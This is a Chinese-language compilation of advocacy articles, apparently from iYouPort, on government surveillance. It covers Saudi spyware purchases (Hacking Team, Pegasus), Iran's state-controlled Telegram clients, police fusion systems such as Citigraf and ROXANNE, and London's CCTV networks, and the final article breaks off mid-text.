在 MBS 于 2015 年4月成为王储后，Qahtani 推动了网络运营的增强。2015 年6月29日，他写信给 Hacking Team 的负责人，并要求“尊敬的公司提供的完整服务列表”，并提出“长期战略合作伙伴关系”。

Hacking Team 在其网站上称自己的产品是“ 政府拦截专用黑客套件 ”，并且是“有效、易用的攻击性技术”的来源。根据 2016 年的简介，该公司在 2013 年前约有 40 个政府客户。

- 关联：《Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切》
- 2015 年间谍软件供应商 Hacking Team 似乎已经完了，内部电子邮件和间谍软件源代码在网上泄露，任何人都可以看到。但是，三年后的如今，该公司居然又活过来了。 这要归功于 2016 年一位神秘投资者的现金涌入—— 该投资人是沙特皇家宫廷顾问 HE Saud Al-Qahtani

- 这篇文章有提到意大利监控技术公司 Hacking Team《危险：监控技术公司正在推动对零日漏洞的利用》
- 这里是最全的：Wikileaks 的 Hacking Team 档案馆

Hacking Team 与沙特阿拉伯的关系变得如此强大，以至于当这家意大利公司在维基解密 2015 年泄露他们的内幕信息后遇到财务困难时，沙特投资者显然是立刻就介入了。

一家名为 Tablem Limited 的塞浦路斯公司，由 Al-Qahtani 家族的一名商人领导，根据 2018 年1月的主板帖子，该公司 2016 年中期收购了 Hacking Team 20% 的股份。据主板报道，2016 年5月在米兰举行的一次会议上，新投资者由一位名叫 Khalid Al-Thebity 的沙特著名律师代理。Hacking Team 的创始人告诉 Motherboard 他不确定 Qahtani 和 Thebity 是谁。“即使对我来说，沙特政府也是不透明的，”他说。

MBS 的皇家法院已经获得了意大利提供的黑客工具，但美国和沙特的消息来源称王储寻求更大的能力。两位美国前官员说，他看中一家名为 DarkMatter 的阿联酋网络公司取得的快速进展，他希望这个王国能够跟上步伐。这两位消息人士表示，DarkMatter 可以提供培训和设备，但 MBS 想要拥有最先进的系统。

沙特阿拉伯正在加入的是一个拥挤的领域。网络武器的扩散正在全球范围内加速，部分原因是美国对任何可以被描述为“打击极端主义”的行为都表现出热情。一位美国前官员说：“沙特人觉得，只要他们宣称打击极端主义，他们就拥有了一张空白支票，可以追踪自己国家的人民。我们什么都不做。“

在 2017 年4月和 2018 年3月访问沙特王国期间，我瞥见了沙特对数字监控技术的热情。两次，我被邀请在皇家宫廷内观看一个新的所谓“反恐中心”，沙特人称之为“数字极端主义天文台”。这是一个超现代化的设施，有数十名技术人员坐在电脑屏幕上监控阿拉伯语 Twitter 和其他社交媒体平台。

中心主任给了我几本光滑的小册子。其中一篇描述了该中心在 2016 年12月的最后两周内如何监控超过 120 万条关于伊斯兰国的推文和转发，以及其软件工具能够以高精度辨别“对 ISIS 的有机支持”。第二本小册子描述了用于分析和可视化伊斯兰国和什叶派民兵支持者的社交媒体网络的复杂软件工具。

一本小册子吹嘘 Qahtani 的中心“将软件开发与最新的定量和定性分

析技术融为一体，以支持 ……目前对网上极端主义活动情报的最新需求。“当时包括我在内的大多数观察者都不了解的是，这些工具能够多快地追踪对抗持不同政见者的声音，例如 Khashoggi。

- 当天听说朋友的手机遭遇了最恶毒的间谍软件，一种不详的预感降临。他说：“愿神保佑我们！” 两个月后，他就死了……《流亡也没有安全》

Qahtani 在网络空间是一名积极的战地指挥官。他敦促沙特人通过推特标签“黑名单”提交卡塔尔支持者和其他持不同政见者的名字。他在2017年8月的一条推文中为这次社交媒体动员辩护：“你认为我在没有指导的情况下做出决定吗？我是国王和王储的雇员和执行人。“

随着 2018 年的到来，Qahtani 的研究和媒体事务中心正在与真实的和想象中的敌人进行多方面的战争。沙特继续寻找新的武器。DarkMatter 在 2016 年，2017 年和 2018 年在拉斯维加斯的“黑帽”黑客大会上展示了它的能力。在 DarkMatter 的产品中有一个叫“Katim”的电话系统，它可以通过关闭其摄像头和麦克风来对抗其他黑客，并在未经授权的用户侵入时自动导致设备的数据自毁。

沙特人知道他们的历史克星以色列拥有最先进的网络工具。根据美国、欧洲和沙特的消息来源，沙特人越来越多地寻求从以色列网络公司购买技术。

结果是中东历史上最有趣的情报联盟之一，因为以色列公司开始与沙特分享其一些网络机密。这是一个绝对的魔鬼交易：以色列获得了一个秘密的逊尼派阿拉伯盟友对抗伊朗（并且通过网络合作获得有关王国的信息），MBS 获得了新的工具来对抗他的内部敌人。

沙特人特别寻求购买一种名为 Pegasus 的复杂电话黑客系统，该系统由一家名为 NSO Group Technologies 的以色列公司创建。该技术非常强大，一旦手机感染，监视者就可以完全访问受害者的一切个人文件，如加密聊天，电子邮件和照片等等。他们甚至可以秘密地使用手机的麦克风和摄像头来查看和窃听他们的目标。

Pegasus 的不同之处在于它感染目标的方式，以及攻击的成本。Pegasus 如此难以被察觉的原因在于，它利用了 Google 或 Apple 不为人知的软件缺陷—即 0-day，这意味着即使是最新的安全更新也无法阻止它。Murray 说，这一“优势”使得 NSO 集团可以让政府客户为每一个他们打算瞄准的人支付数万美元。

- 更多详情：《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》
- 《当恶意软件伪装网购物流：来自政府的监控总能让你防不胜防》
- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》
- 《网络战：❗社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》
- 《危险：监控技术公司正在推动对零日漏洞的利用》
- 《如果警察在你的手机上强制安装监视应用程序，如何才能将危险最小化？》
- 《追踪零日漏洞市场的肮脏：可怜正义没有钱》

现在，Qahtani 变成了替罪羊，于10月被解雇，因为他在 Khashoggi 死亡事件中的角色，也为了王储萨勒曼挡枪。宣布制裁的声明中说，Qahtani“是计划和执行行动的一部分”。

Arab intelligence services have always closely monitored their citizens' communications and other political activities; "Cyber fit the natural biases of MBS". The kingdom's drive for digital dominance accelerated in 2017, for several reasons… These advanced cyber capabilities might have been less risky if they had been managed by professionals in the Saudi intelligence services, but they instead became political instruments for MBS and his powerful courtier, Qahtani.

原文

一种更邪恶的审查必须警惕，比中国的GFW严重太多 - iYouPort

技术暴政

telegram 在伊朗的迅速崛起恐怕已经达到临界点了。

「图」

「图」

多年来伊朗当局一直在努力研究和试图操纵 telegram 为自己的利益服务，而现在，伊朗当局将政治意愿和金钱放在了“本国”消息和社交媒体服务的发展背后。自从司法机构于 2018 年4月底停止审查 telegram 以来，一系列政策“改革”彻底改变了伊朗的在线控制。

伊朗政府的新审查技术远非其宣称的所谓进步形象，并且更加恶毒。政府领导人在公开言论中明确拒绝了对 telegram 进行的审查，但是，却同时悄悄地推动了“本国”的信息服务，使得伊朗人越来越无法摆脱在当局的控制下使用通信渠道。

过去四年来，伊朗政府一直在积极地寻求发展本土的通信技术——令人担忧的是（正是在经济危机阶段）通过 Rouhani 政府基金，导致政府批准的服务，如 Soroush，Bisphone 和 Telegram Talaee 的快速发展。这些和其他应用已经存在多年，并且受到伊朗人的广泛不信任和拒绝。

但最近几个月，官员们已采取了更积极主动甚至更强迫的措施，以促进这些本土服务的使用量。

2017 年初，信息通信技术部启动了对软件开发商的激励措施，以创建与 Telegram 竞争的本地消息服务。只要平台符合伊朗的“消息服务规定”，当局就可以为平台获得每100万用户提供约 260,000 美元的赠款。

对创建成功的消息传递平台的激励措施，与对当地数据政策不合作的

流行外国平台的打击，同步进行。该国于 2017 年底开始为这些应用程序提供补贴，使伊朗人能够更加负担得起使用本土应用程序产品，而不是外国平台（参见2018年3月的“收紧网络‘第9页），ARTICLE 19 一直批评这一过程公然违反网络中立的国际标准。

除了在 2018 年4月审查 telegram 之外（它仍然可以通过规避工具访问），政府甚至威胁著名的 telegram 用户必须转向使用本国的替代方案。2018年7月，telegram 的多个频道管理员被当局打电话质问，并因使用 VPN 访问 telegram 而受到罚款。如果人们没有将使用转移到诸如 Soroush 等本国“替代方案”，当局就威胁要起诉他们。以前，最高网络空间委员会强迫频道管理员在政府网站上注册他们的频道。很明显，他们在注册过程中提供的信息随后会被用于审查的瞄准和威胁。

这些措施提高了使用 telegram 的技术和政治成本，从而使伊朗人更倾向于使用国家替代品。

最臭名昭着的政府平台是 Soroush。由伊朗伊斯兰共和国广播公司（IRIB）所有，尽管有大量证据表明，最高领导人 Ayatollah Khamenei 和信息通信技术部长 Mohammad Javad Azari Jahromi 一直在鼓吹消息和社交媒体应用“保护用户隐私”，但事实上完全相反。

如果平台遵循 SCC 制定的政策（参见2017年9月报告的附录），将被迫禁止加密，并且当局可以访问所有平台的数据。尤其是，Soroush 的初步评估已经揭示了令人担忧的功能，例如能够显示频道管理员的个人详细信息，包括电话号码和其他频道成员的详细信息。2018年4月，移动应用程序开发人员在 Twitter 上分享了他如何公开访问了 ICT 部长 Jahromi 的用户数据，包括他的电话号码。

伊朗人只能使用伊朗的 SIM 卡注册 Soroush 账户（使用在伊朗境外的 SIM 卡用户被禁止注册该平台）。2015 年，通信监管局制定了一项政策，即伊朗境内的所有 SIM 卡必须关联该国公民身份证和详细住址，因此任何需要 SIM 卡注册的活动都无法匿名。在整个 2018 年5月期间，许多伊朗用户报告称，他们的个人信息和身份识别照片已在 Soroush 上被注册并加盖了时间戳，尽管他们从未进行过注册。他们被强行注册了。

其他可疑的服务是 Wispi 和 Bisphone。Bisphone 在与当局的联系方面并不显见。然而，研究表明，其数据存储在伊朗的电信公司，据称伊朗的革命卫队部分拥有该公司。半官方政府新闻媒体 Fars News 报道称，尽管 Wispi 属于总部位于香港的公司 SG Atlantic Limited ，但

政府已经投资了 2100 万美元用于开发 Wispi 以将公司的服务器迁至伊朗。

政府当局批准的另一种方法是 Telegram Talaee 和 Hotgram，它们都是构建于 Telegram 的技术之上的。虽然这两项服务均由伊朗私营公司 Rahkar Sarzamin Hooshmand 所有，但有迹象显示政府参与其运营。情报部的消息来源证实，该部门是这些平台的幕后推手，而信息通信技术部则试图与该平台保持距离。

这些独特的选项为 Telegram 提供了一种奇怪的“客户端”，依赖于该公司的开放 API。例如，使用 Hotgram 的人能够与 Telegram 用户通信并查看 Telegram 频道上可用的大部分内容。但是 Hotgram 却是可以作为过滤器使用的。该公司可以选择阻止用户访问某些内容——并且有证据表明这种情况正在发生。

美国政府资助的 Radio Farda 新闻服务在 Telegram 上有一个活跃的频道，但通过 Telegram Talaee 和 Hotgram 都无法访问该频道。这与伊朗政府对 Farda 本身的控制是一致的，该网站在伊朗长期被封锁。这份报告的第14页提供了有关此发现的更多详细信息。

一般而言，国家平台没有严格的隐私协议来保护用户，使伊朗人很容易受到政府运营的数据收集和监视行为的支配。这些应用程序的数据收集过程的危险性是非常真实的。伊朗当局早有先例使用公民的通信数据来压迫或迫害用户，案例包括收集有关用户是否在手机上安装了“非法应用程序”的信息（通过应用程序 Snapp 监视用户的设备），以及情报机构使用移动电话跟踪技术搜查和逮捕 Isa Saharkhiz，他是一名报道 2009 年选举后抗议活动的记者。

这对 Telegram 是一个考验。只要 Telegram 继续保持其 API 开放，像伊朗的这些本土公司将能够构建连接到 Telegram API 的外部客户端，并以此过滤内容并监视用户的活动。

Telegram 创始人兼首席执行官 Pavel Durov 之前曾表示“无法保证这些第三方应用程序是安全的”，但 Telegram 已经促进了此类客户的发展，特别是在俄罗斯和伊朗，他们的主要平台被封锁。虽然 Telegram 在技术上无法在不完全关闭其 API 的情况下阻止这种事，但它可以使用调整政策和修辞来鼓励客户开发人员遵守国际人权标准。但是这一直没有发生。

⚠ 伊朗的案例非常值得警惕，这是比中国的简单粗暴的封锁更可怕的审查措施。试想一下，如果中国构建了类似 Telegram Talaee 和

Hotgram 这样的东西，声称可以“不花钱购买 VPN 即可使用 Telegram”，中国会有多少人上当？这就是本文希望警告的关键问题。

「图」

「图」

Under contemporary censorship theory, which tries to reconcile existing patterns within authoritarian, or “controlled” communications systems, Iran is maintaining a “ porous censorship ” model, with a twist of inventiveness: In Iran, state-sanctioned messaging apps are the new hallmark of internet nationalization

原文

一秒钟追踪你的一切：”融合系统” 是什么东西？ - iyouport

协助暴政的家伙们技术暴政

当它发生在你讨厌的人身上时，这一切都很有趣，但当它发生在您自己身上时，它就突然变得真实起来了 ……

【按】中国也有类似的东西 —— 谷歌和IBM的作品，见《美国科技巨头如何帮助中国建立大规模监视系统》；不同的只是，目前在中国运行的技术的详细使用情况尚不为人知。

这是完全可以想象的。当当权者拥有的数据量足够大时，他们必然会将一切联系在一起，需要的只是一个算法。但如果没有这种算法的支援，当局收集的数据量越大，其结果只能是越混乱。这就是为什么必须说为中国公安系统提供大数据分析技术的美国巨头甲骨文，比贪婪收集公民数据的中国当局本身，更可怕。

老大哥在监视你。可悲的是，依旧有很多人并没有意识到现在的监控网络已经变得多么广泛。当你开车去上班或上学时，车牌阅读器正在系统性地跟踪你的行踪。在各大城市，数以千计的高度先进的监视摄像头（许多配备了面部识别技术）正在监视你的一举一动。如果当局检测到你做了任何可疑的事，他们可以迅速调出你的犯罪记录、财务记录和医疗记录。当然，如果他们想深入调查，你的手机和电脑也会不断丰富监控数据的宝库。在这种状况下你所做的任何事都不可能是私密的。

在过去，编译所有这些信息需要花费大量的时间。 但现在，微软、摩托罗拉、思科、**Palantir** 等科技巨头正在向全球各地的政府出售 “融合系统”。 这些 “融合系统” 可以瞬间整合来自数千个不同来源的监控数据，这完全改变了地球上许多大城市的执法方式。

阿瑟·霍兰·米歇尔（Arthur Holland Michel）是卡内基国际事务伦理委员会的高级研究员，他被带去参观了芝加哥市使用的名为 Citigraf 的 “融合系统” ……

他点击了“调查”，然后 Citigraf 开始研究报告中的袭击事件。该软件运行在 Genetec 公司所谓的“相关引擎”上，这是一套算法，可以通过城市的历史警察记录和实时传感器反馈，寻找模式和联系。

几秒钟后，屏幕上出现了一长串可能的线索，包括以前在附近因暴力犯罪而被捕的所有人的阵容、住在附近的假释犯的家庭住址、最近类似的911电话目录、被检测到的超速离开现场的车辆的照片和车牌号，以及任何可能发现犯罪证据的监视摄像头的视频信号，包括那些安装在过往公共汽车和火车上的摄像头 …… 换句话说，足够多的信息，让一名警官对最初的**911**电话作出反应，对刚刚发生的事有一种近乎心灵感应的认知。

但是，这些系统不仅仅是用来追踪罪犯的。

事实上，它们可以用来追踪调查任何一个人。

在另一个场合，阿瑟·霍兰·米歇尔有机会测试微软为纽约市打造的“融合系统”。

纽约警局的官员展示了他如何调出本市任何居民的犯罪记录、他们已知的同伙名单、他们作为犯罪受害者或证人的案件，以及，如果他们有车，他们倾向于在哪里开车的热图，以及他们违反停车规定的完整历史记录。然后他把手机递给米歇尔。他说，去吧，搜索随便任何一个人的名字。

米歇尔脑海里浮现出一连串的人名。朋友、情人、敌人 ……最后，他选择了几年前在布鲁克林目睹的枪击案的受害者。此人突然出现了，还有一些比感觉上更多的个人信息，甚至是最好奇的警官在没有法院命令的情况下都无权知道的东西。米歇尔觉得有点头晕，就把手机还给了那个警察。

如果芝加哥、纽约等大城市都是这样，你能想象联邦政府的三字母机构现在必须掌握的技术是什么样吗？

当然，这不仅仅是发生在美国。

在大西洋的另一边，一个名为 **ROXANNE** 的欧洲联合监视项目引起了人们的极大关注。

ROXANNE 是“**R**eal time netw**O**rk, te**X**t, and speaker **AN**alytics for combating orga**N**ized crim**E**”的缩写，11月宣布参与了目前正在瑞士开发的项目。

这是一个基于生物识别技术的平台，表面上是为了监控和打击有组织犯罪，而 ROXANNE 的另一个应用是其创建者自由宣传的：它能够监控那些被指控犯有仇恨言论和政治极端主义的人。

欧洲各地正在制定严格的打击 “仇恨言论” 和 “政治极端主义” 的新法律，这一新工具将有助于追踪 “思想罪犯”。

特别是，这个新工具将大量监控 “**Facebook、YouTube等社交媒体网站**以及普通电信平台”。

ROXANNE 是欧盟资助的 “地平线2020” 项目的产物，旨在促进新的监控技术的发展，ROXANNE 在 Facebook、YouTube 等社交媒体网站以及普通的电信平台上工作，对人脸和声音进行识别、分类和跟踪，使当局能够更深入地了解被调查的网络，无论是与犯罪活动有关的，还是被认为是政治极端的。

- 关于 “地平线2020”，见《当您准备寻求庇护 …… 移民和难民需要注意的10大威胁》

当局可以利用来自各种来源和平台的原始数据来识别常见的语音模式、面部特征和地理位置，最终的结果是既能识别任何目标人，又能描绘出被置于显微镜下的关系网络的复杂图像。

所以，如果你生活在欧洲，并且你认为自己可能在某个时候犯了 “思想罪”，你可能最好把手机和电脑都扔掉。

认真的说。

事情变得如此糟糕只是一个时间问题，相同的疯狂水平也发生在美国，因为我们正在沿着完全相同的道路。

在美国这边，每天都有更多的政治声音被 “去平台化”。 自认为进步派的记者乔丹·查里顿原本在保守派被去平台化时欢呼雀跃，但是，此时他后悔了自己对审查的支持，**现在 YouTube 已经下架了他的一个视频.....**

【注：去平台化 (Deplatforming) 就是审查，用以抵制某个团体或个人、或阻止某人持有被视为不可接受或冒犯性观点的行为或做法，尤其是在特定网站上阻止他们】

然而，在 YouTube 以违反平台反对 “垃圾信息和欺骗行为” 的政策为由，从自己的频道中撤下了包含1月6日骚乱片段的视频后，查里顿又

改变了他的立场。

当它发生在你讨厌的人身上时，这一切都很有趣，但当它发生在你自己身上时，它就突然变得真实起来。

- 推荐这里的解释《从冷战到反恐战争：专制“解决方案”带来的危害往往大于其表面上旨在应对的威胁》

他们真的想控制我们所有人的所做、所言、所想，“老大哥”的监控网正一年比一年更让人窒息。

如果我们不趁早限制这种技术，那么这个社会迟早会变成荒诞的噩梦，比乔治·奥威尔敢于想象的任何事都要可怕。〇

Big Brother Is Spying On You In Thousands Of Ways, And All Of That Info Now Goes Into Centralized “Fusion Systems”

原文

上帝之眼：一个没有秘密的世界意味着什么？ - iYouPort

你我的灾难现实技术暴政

技术和对维稳日益增长的疯狂要求使我们所有人都受到监视。隐私人权仅仅是一种记忆吗？

星期六早晨大约10:30，在伦敦北部的伊斯灵顿市，两名骑着轻便摩托车的男子沿着上街的购物走廊飞奔。

他们戴着头盔、手套、穿着夹克，看起来就像狂躁的电子游戏人物。他们飞快地穿越交通流，其他车子各种避让。

三到四分钟后，他们突然进入了一片绿树成荫的安静住宅区。他们跳到路边，关闭了引擎，在人行道上卸下头盔的同时开始交谈。

他们以为自己的对话只有自己知道。但是，他们可能还不知道的是：大约一英里之外，还有另外两个人通过一个没有窗户的房间在看着他们。

“他们出动了”，Sal 对 Eric 说。

这俩人坐在伊斯灵顿闭路电视监视（CCTV）控制室的长条形控制台后面，该控制台涂有灰色的油漆，下面铺着地毯，没有装饰。

Sal 是中年人，Eric 非常年轻。两人都穿着休闲的办公室装束。

他们可没有闲聊。当那两个骑摩托车的人在街上狂奔时，Sal 正在他的电脑键盘上打字，提示 Eric 看 Camera 10，摩托车人就出现在那个监视器上。

当骑摩托车的人从 Sal 的视线中消失时，Eric 迅速将他们定位在 Camera 163 监视器上。他用操纵杆将摄像机的距离拉近，直到画面上的车牌清晰可辨。

Sal 接通了警察局：“我们看到两个可疑的骑轻便摩托车的人在伊斯林顿上街飙车做特技。”

「图」

「图」

Two closed-circuit television system operators monitor Islington’s control room, where they can watch images from the borough’s extensive camera network. London’s video surveillance helped solve the deadly 2005 terrorist bombings, which killed 52 people.

在这两个监视者面前，是一排带有16个屏幕的巨大显示屏。它可以从伊斯林顿的**180**个**CCTV**摄像机网络中传输实时的监控图像。

这个星期六的早晨相对比较平静。而在这周的早些时候，一名年轻人在公寓被刺伤后死亡；另一名男子从被称为“自杀桥”的地方跳下身亡。

当天晚些时候，在芬斯伯里公园，这些监控摄像机将花费数小时在35,000名节日游客身上平移，以寻找扒手、醉酒的斗殴者、以及其他各种各样的小恶作剧。

但目前，那两个骑摩托车耍酷的人是伊斯灵顿唯一的“活动”。

尽管分别从事这项工作已经15年和4年的 Sal 和 Eric 都在以单调的动作监视着一台又一台摄像机，但我几乎可以看到他们的激动。

他们认为，那是困扰伊斯灵顿超过一年的两个所谓的帮派成员。他们从行人手中抢走智能手机，然后在黑市上出售。在近233,000名居民的社区中，这类事件每周发生约50次。

我被两个人的基本奇异之处所吸引，那两个人似乎不知道他们的一举一动都在受到监视。

也许他们是罪犯，也许有点变态，但对于这些问题，监视尚无定论。唯一可以确定的是 —— 监视者看到了他们，但他们没有看到监视者。

就像狩猎步枪瞄准镜中的鹿一样，摩托车骑手没有表现出任何担惊受怕的迹象。而他们已经被深深地暴露了。

那个晚上，我坐在几英里外伦敦西南部的一辆移动拖车中，就在沃克斯豪尔地铁站（Vauxhall Underground Station）街对面。几个闭路电视监视屏摆在我们面前，显示来自10个针对附近夜总会进行监视的摄像机提供的图像。

「图」

「图」

Haz 在一个月内有两个周末在这里。这个夜店希望能避免光顾的顾客进行毒品交易而造成法律麻烦，因此，他们委托了一名移动CCTV运营商和前警察 Gordon Tyermam，让他的手下人 Haz 密切监视人群。

有时，夜总会顾客碰巧注意到了其中一个监视摄像头，于是就通过对着摄像头树中指或裸露乳房以做出回应，这些画面都在 Haz 的视野内。

此外，成千上万进出俱乐部的男男女女都是夜店的普通娱乐者。

Haz 说："这是我迄今为止最出色的、最激动人心的工作。一切都是不可预测的。一直很安静，然后突然就爆发了战斗 ……"。

Haz 在那辆用来监视的拖车里坐了10个小时，眼睛一直盯着显示器上夜店里的顾客。如果发现毒品交易或打架的情况，他会立即通过对讲机通知夜店的内部保安人员。

今晚没有毒品交易，没有打架，只有年轻人和醉汉的小愚蠢。

他惊叹道："你在闭路电视监视器上看到的东西，使你想到'这不是成年人的举止。' 他们往往会忘记自己是谁。"

但是，他们真的会忘记他们是谁吗？还是他们只是倾向于忘记有人正在监视着自己？

「图」

「图」

Shooter Detection Systems in Boston, Massachusetts, has invented a wall-mounted device (top left) designed to find an active shooter inside a building. The system uses acoustic software to identify the

sound of gunshots and infrared muzzle-flash detectors to verify the shots and then automatically provides security officers with a map that shows their precise location.

1949年，在欧洲专制主义的阴影中，英国小说家乔治·奥威尔（George Orwell）出版了他的反乌托邦杰作《1984》，其严厉的告诫是：“老大哥在看着你。”

尽管这个想法可能令人不安，但 “watching” 已经历史悠久。**1949**年，一家美国公司发布了第一个商用**CCTV**监视系统。两年后的**1951**年，柯达向狂暴的公众推出了其布朗尼便携式电影摄影机。

如今，每年在互联网上共享或存储的图像超过2.5万亿张，更不用说人们保留的数十亿张照片和录像了。

一家电信公司估计，到2020年，将有61亿人拥有具有拍照功能的手机。

同时，估计一年内就售出了1.06亿个新的监控摄像机。

地球上有超过300万台**ATM**机盯着他们的客户。

成千上万个被称为自动车牌识别装置（**ANPR**）的摄像机悬挂在道路上，以抓取超速驾驶者或违规停车者，但在英国，还可以跟踪任何当局感兴趣的人的踪迹。

现在，佩戴身体摄像头的人数一直在迅速增多，不仅包括警察，还包括医院工作人员和其他许多非执法人员。

私人用监控设备（如 行车记录仪、自行车头盔摄像机、配有镜头以捕捉小偷的门铃）的数量也在迅速增加，它们已迅速成为许多城市居民日常武器库的一部分。

- 《亚马逊帮助警方构建了一个广泛的监控网络》

被面部识别技术捕获并存储在执法部门和私人公司数据库中的数十亿张图像记录的都是毫无戒心的公民，几乎没有任何这类数据库是民主的（公民无法控制）。

这些只是我们能够肉眼看到的老大哥设备。目前，空中已经布满了无人驾驶飞机，其中250万个都是2016年由美国业余爱好者和企业购买的。

- 《天空中的眼睛》
- 《浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》
- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》
- 《空中监视如何追踪抗议者？》
- 《如何防止被无人机监控？（热成像监控的抵制方法）》

250万个，这个数字还不包括美国政府在也门制造轰炸的无人机、不包括用来阻止移民从墨西哥进入的无人机、也不包括监视德克萨斯州的飓风以及在北达科他州抓捕偷牛者的无人机……

它也不包括其他国家/地区所使用的数千种机载间谍设备，比如 俄罗斯、中国、伊朗和朝鲜 ……

- 《来自中国和美国的政府监视：7个危险的用例》
- 《硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重》
- 《美国和中国在监视公民方面引领全球》

监视来来自太空。超过**1,700**颗卫星监视着我们的星球，其中一些的清晰度可以看到水牛和森林火灾。这些卫星不停地在拍照，掌握这些卫星的人可以看到你住的街区的详细图景。

- 《卫星已经开始观察你的每一个动作》

「图」

「图」

In 2015 Peter Gold was shot while trying to rescue a woman who was being abducted at gunpoint. The incident was captured on a video camera; it shows a man shooting Gold in the stomach and then trying twice to shoot him in the head as he lay curled on the sidewalk. Both times, the gun jammed. Like the business owner who installed this camera, more cities and private citizens are turning to street-level surveillance to fight crime.

「图」

「图」

Gold returns to the New Orleans street where he was shot in 2015. Then a 25-year-old medical student, he had intervened when he saw a man later identified as Euric Cain attempt to drag a woman into a vehicle.

与此同时，我们每天都会在令人不安的近距离被拍摄数十次，被我们从未见过的隐藏镜头抓取，我们的图像被存储在数据库中，甚至可以永久保存。

智能手机、互联网搜索、社交媒体帐户 ……所有的一切正在泄露我们的秘密。隐私国际组织的执行董事 Gus Hosein 指出：“如果80年代的警察想知道您思考过什么东西，他们将不得不对您进行酷刑。而现在，他们可以从您的设备中直接找到它。”

这就是我们 “勇敢的新世界”。

卡内基梅隆大学信息技术教授 Alessandro Acquisti 表示，“在隐私保护的猫鼠游戏中，数据主体始终是游戏中最弱的一面。”

- 《猫鼠游戏永远持续—— 隐私保卫战的未来会如何？》

得克萨斯大学美国研究教授 Randolph Lewis 在他的新书《Under Surveillance: Being Watched in Modern America》中说：“监视经常使真正感到自己措手不及的人精疲力竭：监视能力不断地充实，无处不在、越来越神秘、永无休止，还潜力无穷 ……”。

如果您对这本书感兴趣，可以在这里下载：https://t.me/iyouport/6392

隐约可见的奥威尔式萧条已经是既成的事实吗？还是存在一种更有希望的前景，在这个前景中，在方方面面都受到监视的世界可能会更好吗？

考虑一下，世界野生动物基金会在中国使用的463个红外摄像头，以监视受威胁的大熊猫的活动。或是护林员在夜间部署的热成像设备，以发现肯尼亚马赛马拉国家野生动物保护区中的偷猎者。或由加州大学圣地亚哥分校的研究人员开发的声控水下摄像头系统，用于追踪科尔特斯海濒临灭绝的迷迭香海豚。或安装的“森林观察者”摄像机有助于保护斯里兰卡不断缩小的林地……

但这不是全部。

「图」

「图」

“如果你想要一张未来的照片，想象在一个人的脸上反复跺脚的结果”，奥威尔在他的经典著作中暗暗地警告着。

威权主义的世界已经消除了政府可能使用此类监视工具来使街道“更安全”的可能性。回顾一下，监视摄像头阻止过几次犯罪活动？但是追捕异议人士和活动家时，它们总是显得特别高效。

在波士顿港，国土安全部测试了由两名麻省理工学院物理学家 Robert Ledoux 和 William Bertozzi 发明的一种货物可视化方法。使用一种称为核共振荧光成像的技术，无需打开货运集装箱即可辨别里面的东西是什么。

与仅显示形状和密度的X射线扫描不同，这种技术可以分辨苏打粉还是低碳苏打粉、天然钻石还是人造钻石、塑料炸药要是高能炸药、以及无核材料和核材料之间的区别。

有人认为过去150年中受到日益严重监视的世界会更安全吗？

当然，自从奥威尔时代以来，所谓的“公共安全”一直都是进行监视的借口。不过今天，这样的技术正在分离出其他用途作为更全面的救生器。

借助卫星摄像机提供的图像，救济组织将难民安置在摩苏尔附近，营地位于伊拉克北部的沙漠中。借助众多的太空探测器，科学家们证明了世界气候正在发生巨大变化 ……

奥威尔伟大的想象力会失败吗？老大哥能拯救人类吗，还是变相奴役人类？还是两者同时存在？

「图」

「图」

Dino Bertolino, a senior spacecraft technician at Planet, holds a camera-equipped satellite, which the San Francisco company calls a Dove. Planet has more than 150 of these shoe box–size satellites operating in orbit, snapping two images a second. With this fleet, when conditions are optimal, the company can photograph the

Earth’s entire landmass in a day.

“在英国，人们对监视的需求是我在世界上其他任何地方都找不到的。”

当我们坐在伦敦政府办公室的自助餐厅里、被闭路电视摄像机镜头对准脑门时，世界上唯一知名的监控摄像头专员 Tony Porter 说。

Porter 曾是一名警官和反恐专家，四年前被英国女王内政部招募，负责该地区的安全事务，目的是对该国日益发展的监视国家状态进行某种程度的监督。

Porter 微不足道的年度预算为320,000美元，他和三名工作人员在工作日中不断敦促使用监控摄像头的政府和商业用户，以使其符合相关法规和准则。

但是，除了在提交给国会的报告中提及违规者的名字外，**Porter** 的办公室没有执行权力。

尽管如此，他对英国作为世界上监视技术接受度最高的国家的评价得到了广泛的认可。

伦敦的监视摄像头网络最初是在90年代初构思的，当时爱尔兰共和军在该市金融区搞了两次轰炸。随之而来的是监控技术的狂热传播。

正如苏格兰斯特灵大学公共政策教授、监视专家威廉·韦伯斯特（William Webster）说的那样：“当时，有关公共安全的言论是，‘如果你没有什么可隐藏的，你就不需要害怕。’”

“事后看来，这一口号可以追溯到纳粹德国。但是它太常用了，它几乎打击了所有反对监视的情绪。”

- 《纳粹和你》

该市最初的安全基础设施被称为“钢环”，后来通过ANPR技术在主要通道上进行了扩展和扩充。

现在，遍布全国的有9000台这样的监视相机，每天拍摄所有途经的人，并存储3000万到4000万张图像，而不仅仅是超速驾驶者或已知的罪犯。是所有人。

正如前苏格兰警察反恐协调员 Allan Burnett 所说，“如今你几乎不可

能做到穿越苏格兰而不被ANPR摄像机拍到。”

前英国副总理尼克·克莱格（Nick Clegg）坐在伦敦办公室时对着摄像机说：“我很确定，我们现在的人均闭路电视监视相机的数量比地球上任何其他城市都要多”，他背后就是一台监视相机正在盯着他。

“基本上，这是在没有任何有意义的公众辩论或政治辩论的情况下发生的。部分原因是因为我们没有法西斯主义和非民主政权的历史，而在其他国家，这种历史也给那些国家带来了深深的猜疑。而在这里，监视技术让人感觉还不错……直到它不再被感觉不错”。

「图」

「图」

China’s first aircraft carrier built from scratch is launched in Dalian, a port city on the Yellow Sea. These images, taken by Planet’s Dove satellites, show the ship in a berth (April 23, 2017), backing into the water (April 26, 2017), and docked (April 27, 2017). Planet can capture similar developments day by day, anywhere in the world.

恐惧和浪漫的元素帮助解释了英国监视泛滥的原因；毕竟，这是一个靠间谍起家的国家：在伦敦西北40英里的布莱奇利公园（Bletchley Park）纪念着传说中的第二次世界大战密码破译中心，如今是一个访问量很大的景点。

